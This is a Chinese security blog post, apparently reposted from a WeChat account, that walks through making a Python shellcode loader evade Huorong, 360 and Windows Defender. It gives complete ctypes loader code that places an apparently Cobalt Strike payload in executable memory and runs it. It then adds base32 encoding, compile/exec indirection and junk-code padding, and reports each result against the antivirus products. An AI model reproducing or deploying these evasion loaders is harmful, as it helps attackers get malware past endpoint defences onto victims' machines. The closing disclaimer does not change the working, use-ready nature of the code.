【免杀】一种python-ast免杀方式

admin 2024年11月9日21:45:26评论17 views字数 6078阅读20分15秒阅读模式

简介

一种python动态加密免杀方式,过火绒、360、windows defender

正文

从免杀讲起

免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀

一个python加载器

下面具体举例一个python分离加载的例子

# coding=utf-8import ctypes# pyinstaller -F .main.pyf = open('payload0604.bin', 'rb')shellcode = f.read()shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),    buf,    ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.c_uint64(ptr),    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

上面为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

【免杀】一种python-ast免杀方式

前置基础

  • Python的ast模块是一个用于处理Python代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成Python代码的AST
  • 抽象语法树是Python源代码的一种树形表示形式,用于表示Python代码的语法结构。Python的ast模块可以将Python代码解析为AST,并提供了许多方法和属性,以便开发者可以访问和修改AST节点
# ast - demo# 读取源文件with open("demo.py") as f:    data = f.read()# 生成可以被 exec() 或 eval() 执行的代码对象cm = compile(data, '<string>', 'exec')exec(cm)

利用AST绕过免杀

既然免杀杀的的一个程序,程序又是一条一条的控制指令,代码层面也就是一行一行的代码,那么到底是哪一行被ban掉,我们可以通过一行一行进行注释进行测试

  • 以火绒为例子进行测试

经过简单的ast代码如下

# coding=utf-8# pyinstaller -F .ast_test.pyimport ctypes# 读取源文件with open("main", encoding='utf-8') as f:    data = f.read()# 生成可以被 exec() 或 eval() 执行的代码对象cm = compile(data, '<string>', 'exec')exec(cm)mian文件即为上面的烂大街代码# coding=utf-8import ctypes# pyinstaller -F .main.pyf = open('payload0604.bin', 'rb')shellcode = f.read()shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),    buf,    ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.c_uint64(ptr),    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

继续生成exe测试

  • 静态通过

【免杀】一种python-ast免杀方式

  • 动态通过

【免杀】一种python-ast免杀方式

360尝试

【免杀】一种python-ast免杀方式

这里发现360会扫描静态文本,简单做一下变形即可

对main进行base32变形

# coding=utf-8# pyinstaller -F .ast_test.pyimport ctypesimport base64# 读取源文件with open("main", "rb") as f:    data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_main", "wb") as f:    f.write(after_data)

ast代码同步做改动

# coding=utf-8# pyinstaller -F .ast_test.pyimport ctypesimport base64# 读取源文件with open("after_main") as f:    data = f.read()print(data)data = base64.b32decode(data)

# 生成可以被 exec() 或 eval() 执行的代码对象

cm = compile(data, '<string>', 'exec')

exec(cm)

  • 静态通过

【免杀】一种python-ast免杀方式

  • 动态通过

【免杀】一种python-ast免杀方式

【免杀】一种python-ast免杀方式

defender尝试

  • 静态扫描失败

【免杀】一种python-ast免杀方式

  • 同样的原理,将cs-payload进行base32编码

base_data.py

# coding=utf-8# pyinstaller -F .ast_test.pyimport ctypesimport base64# 读取源文件with open("main.py", "rb") as f:    data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_main", "wb") as f:    f.write(after_data)# 读取源文件with open("payload0604.bin", "rb") as f:    data = f.read()print(data)print(type(data))after_data = base64.b32encode(data)with open("after_test", "wb") as f:    f.write(after_data)# coding=utf-8import ctypesimport base64# pyinstaller -F .main.pyf = open('after_test''rb')shellcode = f.read()shellcode = base64.b32decode(shellcode)shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),    buf,    ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.c_uint64(ptr),    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

静态扫描通过

【免杀】一种python-ast免杀方式

动态失败

【免杀】一种python-ast免杀方式

windows defender的动态检测还是很厉害

加花尝试

# coding=utf-8import ctypesimport base64import math# pyinstaller -F .main.pyf = open('after_test', 'rb')shellcode = f.read()shellcode = base64.b32decode(shellcode)shellcode = bytearray(shellcode)print('n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64print('n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))import timetime.sleep(10)# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))results = [1]for i in range(2, 200):    for j in range(2, int(math.sqrt(i))):        if i % j == 0:            break    else:        results.append(i)# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),    buf,    ctypes.c_int(len(shellcode)))time.sleep(3)results = [1]for i in range(2, 1000):    for j in range(2, int(math.sqrt(i))):        if i % j == 0:            break    else:        results.append(i)# 创建一个线程从shellcode放置位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.c_uint64(ptr),    ctypes.c_int(0),    ctypes.c_int(0),    ctypes.pointer(ctypes.c_int(0)))for i in range(2, 1000):    for j in range(2, int(math.sqrt(i))):        if i % j == 0:            break    else:        results.append(i)time.sleep(3)for i in range(2, 1000):    for j in range(2, int(math.sqrt(i))):        if i % j == 0:            break    else:        results.append(i)# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

【免杀】一种python-ast免杀方式

【免杀】一种python-ast免杀方式

深入一下

实际对于本次ast绕过defender的深入只采取了简单的加花处理,相对来说不够稳定,但这也是免杀的一个乐趣吧,当然,除了加花意外还有很多读者可进行的操作,比如:

  • ast动态修改节点
  • 进行更为强度的多重编码
  • 将编码升级为加密,密钥存储http服务器
  • 等等等等

写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的最后一节也只是提供了一个思路。

 

原文始发于微信公众号(moonsec):【免杀】一种python-ast免杀方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日21:45:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】一种python-ast免杀方式https://cn-sec.com/archives/1785770.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息